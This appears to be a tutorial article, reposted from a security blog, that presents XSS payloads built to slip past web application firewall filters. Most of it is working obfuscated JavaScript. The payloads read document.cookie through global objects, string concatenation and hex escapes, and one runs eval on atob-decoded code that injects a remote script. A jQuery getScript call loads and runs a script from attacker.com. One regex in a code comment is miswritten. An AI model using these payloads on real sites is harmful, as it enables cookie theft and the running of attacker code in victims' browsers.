[XSS] Bypassing filters via JavaScript global variables

Created on: 2019-06-18 Click here to download a RAW version of this article (Markdown Format)
Back to Index

Thanks to @Menin_TheMiddle
Source: https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables

Scenario

A web-application filters input which gets reflected inside a script area based on regex rules who are eliminating terms containing e.g. strings like document.cookie.
Examples (which are getting blocked by the WAF):

document.cookie //standard
document%20.%20cookie //URL-encoded version
document/*co*/./*mment*/cookie //commented version

1. Bypass using global access

The e.g. document.cookie property can be accessed from the window or self object. This could be used to bypass the filter.
Example:

window['document']['cookie'] //reference document.cookie using a global variable
self[/*co*/'alert'](/*mment*/self['document']['cookie']) //adding comments

JavaScript functions can be called from: window, self, _self, this, top, parent, frames

2. Concatenation and HEX escape sequences

If a web-application-firewall filters strings based on e.g. their length, string concatenation (using "+" ) could be a thing to bypass these.
Example:

alert(document.domain) //standard
self['al'+'ert'](self['doc'+'um'+'ent']['co'+'okie']) //concatenated version

In JavaScript characters can be represented by HEX-values (if part of extended ASCII table) using \x followed by their hexadecimal value. Therefore we could obfuscate our payload using the hexadecimal representation of each character:

self['\x61\x6c'+'\x65\x72\x74'](self['\x64\x6f\x63'+'\x75\x6d'+'\x65\x6e\x74']['\x63\x6f'+'\x6f\x6b\x69\x65'])

3. Eval and base64 encoding

Dynamically creating a script element to add an external payload can be hard since the WAF can easily detect a \<script> element and it's attributes.
We can use the above escaping techniques in combination with the eval() function to load our script in an obfuscated way, probably bypassing diverse implementations.

Example:

// payload

var head = document.getElementsByTagName('head').item(0);
var script = document.createElement('script');
script.setAttribute('type', 'text/javascript');
script.setAttribute('src','http://example.com/my.js');
head.appendChild(script);

// base64 encoded version

dmFyIGhlYWQ9ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2hlYWQnKS5pdGVtKDApOwp2YXIgc2NyaXB0PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwpzY3JpcHQuc2V0QXR0cmlidXRlKCd0eXBlJywgJ3RleHQva
mF2YXNjcmlwdCcpOwpzY3JpcHQuc2V0QXR0cmlidXRlKCdzcmMnLCdodHRwOi8vZXhhbXBsZS5jb20vbXkuanMnKTsKaGVhZC5hcHBlbmRDaGlsZChzY3JpcHQpOw==

// final payload
// \x65\x76\x61\x6c = eval(), \x61\x74\x6f\x62 = atob() [decodes a base-64 encoded string]

self['\x65\x76\x61\x6c'](self['\x61\x74\x6f\x62']('dmFyIGhlYWQ9ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2hlYWQnKS5pdGVtKDApO3ZhciBzY3JpcHQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7c2NyaXB0LnNldEF0dHJpYnV0ZSgndHlwZScsICd0ZXh0L2phdmFzY3JpcHQnKTtzY3JpcHQuc2V0QXR0cmlidXRlKCdzcmMnLCdodHRwOi8vZXhhbXBsZS5jb20vbXkuanMnKTtoZWFkLmFwcGVuZENoaWxkKHNjcmlwdCk7'))

4. Using jQuery

Most websites are using the jQuery library for simplifying their application logic. Since these files are often referenced inside the head element or injected when the DOM gets loaded, functions provided by jQuery can be used for additional escaping => bypasses.
Examples:

self['$']['globalEval']; // jQ equivalent to self['eval']
self['$']['getScript']('https://attacker.com/payload.js'); // jQ function to load an external JS script and execute it

These payloads can be again obfuscated by using techniques from above.

5. Iteration and object.keys

Any JavaScript function can be accessed by using it's index number instead of the function name, which can be referenced using the Object.keys method. But iterating through the self object returns each time a different index depending on the browser and the document. A for-loop in combination with a regex rule allows us to find the required function (in the following example alert() ):

a = function() {
    c = 0;
    for(i in self) {
        //regex: ^(begin)a[rel]+(match "a" and "r,e,l" one-unlimited times)$(end)t
       //.test(regex) will test a string for the given regex and return true if it matches
        if(/^a[rel]+$t/.test(i)) {
            return c;
        } c++;
    }
}

//one-liner
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}}
self[Object.keys(self)[a()]]('hello world!') //final payload which will trigger: alert('hello world!')